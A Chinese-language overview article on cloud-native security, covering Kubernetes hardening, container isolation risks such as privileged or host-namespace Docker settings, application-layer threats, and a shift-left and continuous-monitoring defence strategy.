据MarketWatch今年的统计数据表明，Kubernetes的市场占有率超过了70%，并且预计在2022年至2028年的预测期内，全球 Kubernetes 解决方案市场将以相当大的速度增长，由此可见，Kubernetes已经成为目前业界容器编排的事实标准。从安全方面来看，以Kubernetes为代表的容器编排平台具有很大的攻击面，以K8S为例，容器编排平台需要做的安全防护措施主要包括如下：

（1） 确保 Pod 符合定义的 Pod 安全标准

（2） 使用基于角色（Role）的访问控制（RBAC）

（3） 做好Kubernetes API 访问控制，包括加密传输、准入控制等

（4） 做好容器与宿主机的隔离

（5） 生产环境中建议开启Kubelet身份验证和授权

（6） 限制集群中的资源使用

容器安全

Container层也就是容器层，这也是云原生安全的核心层，因为所有的应用都运行在容器中。

从容器技术的角度来看，容器安全主要包括软件设计与漏洞、API接口安全、容器隔离失效等问题。在某种程度上，Docker 已经成为了容器技术的代表。Docker 的设计虽然实现了良好的操作系统级隔离，但同时也存在很多安全隐患。比如

• 其默认的组网模式容易造成局域网攻击；

默认情况下，容器内部的网络与宿主机是隔离的，但是每个容器之间是彼此互相连通的，理论上在容器之间是存在内网横向的风险的

• API接口没有任何加密和访问控制容易造成攻击者获取root权限并完全控制服务器；
• 与主机共享操作系统内核、共享主机资源容易造成拒绝服务攻击。

容器通常与宿主机共享内核，也就是说如果宿主机内核存在漏洞，意味着容器可能也会存在相同的漏洞；容器运行在宿主机上，容器必然要使用宿主机的各种 CPU、内存等资源，如果没有对容器进行资源使用限制，那么就存在宿主机被资源耗尽的风险

• 采用Linux Capabilities 机制、隔离的不充分容易造成容器隔离失效等。

如果为容器设定了不安全的配置，会导致容器本身的隔离机制失效，容器的两大隔离机制如下：

• Linux 命名空间（NameSpace）：实现文件系统、网络、进程、主机名等方面的隔离
• Linux 控制组（cgroups）：实现 CPU、内存、硬盘等方面的隔离

如果设定了以下配置就会导致相应的隔离机制失效：

• –privileged：使容器内的 root 权限和宿主机上的 root 权限一致，权限隔离被打破
• –net=host：使容器与宿主机处于同一网络命名空间，网络隔离被打破
• –pid=host：使容器与宿主机处于同一进程命令空间，进程隔离被打破
• –volume /:/host：宿主机根目录被挂载到容器内部，文件系统隔离被打破

针对以上可能造成的攻击，Docker 已有了对应的防护方案，只要根据防护方案做好相应配置即可以避免以上问题。此外，与Docker相关的漏洞也是容器安全的主要威胁之一，因此应该关注官方的漏洞公告，及时打补丁或者更新到最新版本。

从容器安全的防护来看，需要重点关注针对容器的网络攻击、针对容器的DoS攻击以及针对容器的逃逸攻击。

由于容器之间的访问都是通过REST API的形式，容器内部也存在大量API调用，针对网络的攻击主要需要做隔离与访问控制，目前越来越多的解决方案开始采用基于零信任模型来实现。

由于容器在技术实现上是基于主机内核，采用共享主机资源的方式，因此面向容器的DoS攻击威胁程度更高，攻击者可能针对计算资源、存储资源、网络资源等对容器进行DoS攻击，因此需要针对容器做好资源限制。

容器逃逸攻击指的是攻击者通过容器获得主机权限入侵主机，对主机造成了威胁，造成容器逃逸可能是由于危险配置导致、危险挂载导致、相关程序漏洞导致、内核漏洞导致以及其他一些方式。逃逸是最严重的安全风险，需要从操作系统内核到运行时操作全方面防护。

应用安全

在Code层，也称为代码层，我更倾向把这一层归为应用安全。这一层主要集中在容器上运行的应用上的安全，主要包括微服务安全，服务网格安全，DevOps安全、Serverless安全等等，这些都是基于容器来运营的一些服务。

微服务由于将传统的单体应用模块拆分为众多的服务，其端口数量的暴涨必然导致攻击面增多。DevOps 集合了开发和运维团队，并通过自动化流程（CI/CD）来促进团队之间的协作效率并加速产品的版本迭代，DevOps 安全的关键是风险的控制和管理。

服务网格是一个微服务的基础设施层，主要用于处理服务间的通信。主要面临的安全问题包括服务间易受到中间人攻击、越权攻击等。

Serverless 是新的云计算模式，用户可在不考虑服务器的情况下构建并运行应用程序和服务，它使开发者避免了基础设施管理。其面临的威胁主要包括针对应用程序代码的注入攻击、针对应用程序依赖库漏洞的攻击、针对应用程序访问控制权限的攻击、针对应用程序漏洞的攻击、针对Serverless平台账户的拒绝服务攻击等。

总结

云原生安全防护思路主要基于安全左移、持续监控&响应原则来进行。在开发阶段（Dev），要遵循“安全左移”原则，做到上线即安全；在运行阶段（Ops），要遵循“持续监控&响应”原则，做到完全自适应。在开发阶段（Dev），通过早期定位和解决安全问题，减少攻击面和潜在的运行问题，做到“上线即安全”，而不是把安全问题都置于线上发布环境中去解决。针对运行阶段（Ops）的攻击行为防不胜防，不能站在边界防御的角度，试图用有限的时间、有限的认识和有限的资源去发现和阻止复杂多变的入侵行为。云原生的边界呈现模糊化、动态变化的特征，仅仅靠防御无法阻拦持续的APT攻击。在这个阶段，要加强持续深入的认识能力，通过及时发现异常变化和入侵行为来预测威胁，对容器的工作负载（比如进程、网络的活动等）进行持续的监控、分析和响应，融合资产清点、微隔离、入侵检测、安全响应、溯源分析、威胁狩猎等安全能力，来完成预测、防御、检测、响应的安全闭环，做到“自适应安全”。

本文标签：